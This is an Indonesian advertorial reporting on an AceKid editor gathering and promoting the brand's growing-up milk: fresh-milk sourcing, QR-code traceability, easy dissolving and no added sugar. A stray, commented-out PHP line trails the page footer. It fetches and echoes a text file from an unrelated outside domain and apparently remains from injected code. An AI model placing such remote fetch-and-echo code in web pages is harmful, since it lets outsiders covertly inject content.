Jejak Susu Jejak Mutu, Jadi Pertimbangan Baru Susu Pertumbuhan Anak

 

 Novita Utomo, dari FEIHE AceKid, memaparkan pentingnya transparansi sumber susu dan proses produksi dalam acara AceKid Editor Gathering. Foto: AceKid Indonesia

Memahami kebutuhan nutrisi anak kini tidak lagi berhenti pada daftar kandungan gizi yang tercantum di kemasan. Semakin banyak keluarga yang mulai memperhatikan asal bahan baku, proses produksi, hingga transparansi informasi yang menyertai produk nutrisi yang dikonsumsi anak setiap hari.

Perubahan cara pandang ini turut mendorong hadirnya pendekatan baru dalam industri nutrisi anak. Salah satunya ditunjukkan oleh FEIHE AceKid yang memperkenalkan konsep natural whole milk, traceable milk source, dan one-step fresh sebagai bagian dari upaya memperluas pemahaman mengenai kualitas susu pertumbuhan.

Di tengah meningkatnya perhatian terhadap kualitas nutrisi anak, FEIHE AceKid menggelar AceKid Editor Gathering beberapa waktu lalu di Hutan Kota by Plataran, Jakarta. Melalui pertemuan bersama sejumlah media, AceKid memperkenalkan pendekatan yang menempatkan transparansi sebagai salah satu aspek penting dalam memahami produk nutrisi anak, mulai dari sumber bahan baku hingga proses produksinya.

Menurut perwakilan AceKid Indonesia, pendekatan tersebut lahir dari kebutuhan keluarga masa kini yang semakin kritis terhadap informasi produk.

"Pilihan nutrisi masa kini tidak hanya dilihat dari popularitas dan reputasi sebuah brand, tetapi juga dari transparansi bahan, kualitas nutrisi, sumber susu, dan proses produksi," ujar Brand Manager AceKid Indonesia, Novita Utomo.

 Peserta yang merupakan para editor media, mengikuti pemaparan mengenai transparansi bahan dan proses produksi susu pertumbuhan anak. Foto: AceKid Indonesia

 Dari Sumber Susu hingga Produk Akhir


Salah satu karakteristik yang diperkenalkan AceKid adalah penggunaan natural whole milk, yakni susu segar sebagai bahan utama dalam formulasi produknya. Pendekatan ini bertujuan menghadirkan nutrisi berbasis susu segar yang diproses secara lebih terintegrasi.

AceKid juga menerapkan one-step fresh process, yaitu proses produksi yang mengolah susu segar secara langsung dalam satu alur produksi yang terintegrasi. Pendekatan ini dirancang untuk membantu menjaga kesegaran bahan dan kualitas nutrisi selama proses pengolahan.

Dalam beberapa tahun terakhir, isu mengenai keterlacakan bahan baku semakin mendapat perhatian. Konsumen tidak hanya ingin mengetahui kandungan suatu produk, tetapi juga asal bahan serta proses yang dilalui sebelum sampai ke tangan mereka.

Menjawab kebutuhan tersebut, AceKid menghadirkan konsep traceable milk source. Melalui sistem produksi yang terintegrasi, perjalanan susu dapat ditelusuri mulai dari sumber bahan hingga menjadi produk akhir.

Informasi tersebut dapat diakses melalui QR code yang tersedia pada bagian bawah kemasan. Teknologi ini memungkinkan proses pelacakan dilakukan secara lebih mudah dan menjadi salah satu pendekatan transparansi yang masih relatif baru dalam kategori susu pertumbuhan anak di Indonesia.

Inovasi untuk Kemudahan Penyajian


Selain aspek bahan baku dan proses produksi, pengalaman menyiapkan susu juga menjadi perhatian bagi banyak orang tua.

Untuk mendukung kebutuhan tersebut, AceKid dilengkapi dengan flash dissolution technology, teknologi yang membantu produk larut lebih mudah dan merata saat disiapkan. Teknologi ini mendukung proses penyajian yang lebih praktis sekaligus membantu distribusi nutrisi yang lebih merata dalam setiap sajian.

Perhatian terhadap komposisi juga terlihat melalui formulasi yang tidak menggunakan tambahan sukrosa, maltodextrin, sirup jagung, maupun perisa sintetik. Pendekatan ini sejalan dengan meningkatnya minat keluarga terhadap informasi bahan dan komposisi produk nutrisi anak.

Pilihan Sesuai Tahap Pertumbuhan


Susu pertumbuhan AceKid hadir dalam beberapa varian yang disesuaikan dengan tahapan usia dan kebutuhan nutrisi anak. Kehadiran berbagai pilihan tersebut mencerminkan berkembangnya pendekatan yang lebih menyeluruh dalam pemenuhan nutrisi anak.  
Apalagi ketika memasuki fase pertumbuhan, kebutuhan nutrisi anak terus berubah mengikuti perkembangan tubuh dan aktivitas hariannya. Dari masa awal pertumbuhan hingga usia prasekolah, kebutuhan energi dan berbagai zat gizi penting mengalami penyesuaian. Inilah mengapa susu pertumbuhan yang dirancang sesuai kelompok usia menjadi bagian dari pendekatan nutrisi yang lebih personal, dengan mempertimbangkan kebutuhan anak pada setiap tahap tumbuh kembangnya.
penulis: Laili

Baca juga:

Beda Enggak, Sih, Susu Anak Pakai Madu dengan Gula?
Eksim Susu pada Bayi, Mencegah dan Merawat
Hadang Eksim Susu dengan Kebersihan
 

 


Topic

#NutrisiAnakModern



Artikel Rekomendasi

Load more
".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>